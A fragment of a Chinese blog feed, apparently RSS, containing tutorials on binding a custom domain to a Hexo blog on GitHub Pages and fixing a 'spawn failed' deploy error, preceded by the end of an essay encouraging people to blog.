其实分享知识和可以帮助学习工作的方式有很多，并不一定就是要写博客，但这却是最有普及价值和最简单的一种途径。我写这篇文章的初衷，就是希望让更多的人参与到写博客这件有意义的事情中来，从中受益的同时也可以惠及他人。

]]> 博客 随笔 博客 Hexo 绑定自己的域名 /2018/01/17/hexo-bang-ding-zi-ji-de-yu-ming/ Hexo 绑定自己的域名

前提，你得有一个域名，有些域名需要备案后才能用。

在域名解析添加记录

如果你用你顶点域名（如：hanlele.cn)，就添加一条主机记录为@的，如果你用www子域名（如：www.hnalele.cn）,github绑定自己的域名只支持这两种，不支持其他子域名，你可以去github的help查看

域名解析

  • 记录类型一定要为 CNAME - 这种类型，只有这样你的域名才能指向你的github
    记录值填 yourname.github.io

在github添加自定义域名

配置hexo的_config.yml

找到url设置，添加你的域名

# URL 链接设置
## If your site is put in a subdirectory, set url as 'http://yoursite.com/child' and root as '/child/'
url: http://www.hanlele.cn
root: /
permalink: :year/:month/:day/:title/
permalink_defaults:

上传CNAME文件

光执行上面三个步骤还是不够，每次你上传更新时，你在github设置的域名可能会丢失，所以要上传一个CNAME文件，让github记住你添加的域名：
先创建一个名为CNAME的文件，没有后缀，再在文件中写上你的域名（如：www.hanlele.cn）,然后把这个文件放在/hexo/source目录下，上传就行了。

hexo 搭建个人博客部署环节spawn failed及解决

我的做法是：

  • 1、先把git加入系统环境变量；
    • 2、再将博客目录里的.git文件夹删除(注意不要永久删除不然有可能数据会丢失)
    • 3.、命令步骤：

      hexo clean
      hexo g
      hexo d

4、至此，解决

最后放上我的报错截图：

建议：不要使用cmd上传，用Git bash或其他

]]> 博客 博客，教程